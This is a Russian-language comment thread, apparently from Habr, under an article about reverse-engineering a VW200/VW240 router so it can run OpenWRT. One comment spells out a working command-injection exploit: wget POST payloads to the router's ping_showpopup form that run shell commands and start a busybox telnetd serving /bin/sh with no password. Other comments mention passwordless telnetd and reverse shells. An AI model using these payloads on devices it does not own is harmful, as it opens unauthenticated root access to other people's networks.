Comments 17
Давненько тут не было эксгумаций… Респект, отличное расследование!
Хотел подобным образом выпотрошить один роутер от Technicolor, но отвлёкся. Ваша заметка замотивировала на второй подход к «снаряду», спасибо.
Пишите мне, если вдруг зайдёте в тупик или просто возникнут вопросы, чтоб попробовать решить проблему совместно и не бросить на полпути. Иногда запала прям чуть-чуть не хватает и на очередном препятствии так и тянет убрать жертву на дальнюю полку.
В kit'е от Micrel'я лежат исходники камикадзе и древнего ядра, которое использовано на этой железке. Но конфиг ядра, к сожалению, неизвестен. Начну наверное с компиляции той версии OpenWRT, что есть в комплекте. Аппарат разрабам OpenWRT уже интереса не представляет, т.ч. полноценная поддержка актуальных версий под большим вопросом даже, если я патчей напилю.
Всё равно — дерзайте, пока есть драйв. Сам процесс — почти как в детективе оказаться. ;)
Статья написана отлично! С юмором. Спасибо. Я хоть и понял довольно мало, ибо не железячник ни разу, но от прочтения получил удовольствие.
Больше всего переживал за оформление и мою своеобразную манеру изложения, т.к. с самим содержанием была только одна проблема — его было слишком много (хватило бы на остросюжетный сериал) и пришлось сильно его сокращать и выделять самое полезное. Если честно, есть подозрение, что до «середины этого Днепра» долетает далеко не каждая птица. Очень радует, что мой опус заинтересовал даже не железячника.
Уооо. Такая милота в последних строках. Оч люблю подобные статьи расследования) Продолжайте писать! А манера изложения похожа на автора блога компании КРОК(не скажу на какого именно, не помню)
Спасибо за поддержку и за сравнение с автором одного из моих любимых блогов на хабре. Очень хотелось внести свою лепту в превращения любимого ресурса в торт. Правда первые несколько дней показывают, что какой-нибудь перевод жалобного плача на несовершенство современных операционок гораздо популярнее и холиварнее, чем очередная железячная статья. Наверно там целевая аудитория шире :)
Раз у вы меня тут активно линкуете, напишу еще один забавный совет: когда найдена уязвимость и можно выполнить что-либо на роутере, вариант с заводским telnetd не самый правильный. Я делал так: загружал на устройство busybox и там стартовал его собственный telnetd с параметрами для другого порта, в итоге можно подключаться к этому порту без логина и пароля.
Я рассматривал стороннюю минимальную реализацию телнета и вариант с самописным reverse shell'ом на асме, благо в заготовочках уже лежит шелл-код на случай возможного использования какой-нить уязвимости с выполнением кода. Но собранное кросс-компилятором с наскоку и залитое по tftp сразу не заработало, так что это пока поле для экспериментов.
Коллега, вы ведь уже так близко!
Эксплоита через POST достаточно для полного взлома, как я и говорил раньше.
Не удержался и проверил сам.

Итого, в первую очередь нам надо получать ответ от роутера. Он нагло отказывается писать что-то в /dev/kmsg и отображать это в системном логе, но при этом все-равно файловая система не read-only и можно записать вывод команды в файл, а потом просмотреть его через веб:

    wget --post-data "cmd_key=%24echo blabla>/web/out.txt%3b" "http://192.168.200.1/goform/ping_showpopup"
    curl "http://192.168.200.1/out.txt"

После выполнения видим заветные «blabla».
По тому же принципу выполняем, например,

    wget --post-data "cmd_key=%24ls -l /etc>/web/out.txt%3b" "http://192.168.200.1/goform/ping_showpopup"

и видим содержимое /etc:
Скрытый текст
-rwxr-xr-x    1 0        0               5 Apr  6  2011 ld.so.conf
-rwxr-xr-x    1 0        0            2266 Apr  6  2011 snmpd.conf
-rwxr-xr-x    1 0        0            3047 Apr  6  2011 ramfs.img
-rwxr-xr-x    1 0        0             251 Apr  6  2011 default.bound
drwxr-xr-x    2 0        0            1024 Apr  6  2011 iproute2
drwxr-xr-x    2 0        0            1024 Apr  6  2011 linuxigd
-rw-r--r--    1 0        0            1224 Apr  6  2011 ld.so.cache
drwxr-xr-x    3 0        0            1024 Apr  6  2011 Wireless
-rw-r--r--    1 0        0              20 Apr  6  2011 rollback.dat
drwxr-xr-x    2 0        0            1024 Jan  1  1970 config
-rwxr-xr-x    1 0        0              28 Apr  6  2011 setWlanConfig
-rw-r--r--    1 0        0              17 Apr  6  2011 version.vw200
-rwxr-xr-x    1 0        0             206 Apr  6  2011 fstab
-rwxr-xr-x    1 0        0              27 Apr  6  2011 default.renew
-rwxr-xr-x    1 0        0              27 Apr  6  2011 default.script
-rwxr-xr-x    1 0        0             231 Apr  6  2011 restart
-rw-r--r--    1 0        0              29 Apr  6  2011 version
-rwxr-xr-x    1 0        0              90 Apr  6  2011 inittab
-rwxr-xr-x    1 0        0            8205 Apr  6  2011 services
-rwxr-xr-x    1 0        0             464 Apr  6  2011 rc
-rwxr-xr-x    1 0        0             193 Apr  6  2011 killforupload
drwxr-xr-x    3 0        0            1024 Apr  6  2011 ppp
-rwxr-xr-x    1 0        0              68 Apr  6  2011 default.deconfig



В системе уже стоит неплохой busybox, в нем есть telnet, понимающий ключи -p и -l. По-умолчанию для авторизации используется /bin/login, но он нам не подойдет, поэтому скармливаем ему /bin/sh:

   wget --post-data "cmd_key=%24busybox telnetd -p 40 -l /bin/sh>/web/out.txt%3b" "http://192.168.200.1/goform/ping_showpopup"


После этого видим такую замечательную картину:
Скрытый текст


На этом все, роутер взломан и начинается долгая и туманная борьба с извлечением прошивки, сборкой OpenWRT, подбором паролей, пробрасыванием драйверов и т.д. :)
Как сделаете рабочий билд — с удовольствием протестирую на своем VW240.
Потыкать в ключи родного телнета я действительно не догадался. Благодарю!
Ну и действительно — родная прошивка нужна была только для изучения, а не для доработки, т.к. огромный слой плесени на ней не даёт шансов сделать из неё хоть что-то похожее на конфетку. Буду пытаться завести OpenWRT и подключу вас к тестированию, раз уж у меня есть доброволец.

Спасибо, очень интересная статья. Надо будет мне над своим роутером по издеваться.

У вас аналогичная модель (VW210/VW240) или какое-то свежее поле для экспериментов?

Свежее поле. Есть роутер (huawey), для которого нет openVRT, думаю самому скомпилировать. Проблема в том, что к нему подключается не витая пара, а оптоволокно (т.е. это не совсем роутер, а скорее терминал). Посмотрю что за модель, напишу.

Only those users with full accounts are able to leave comments. Log in, please.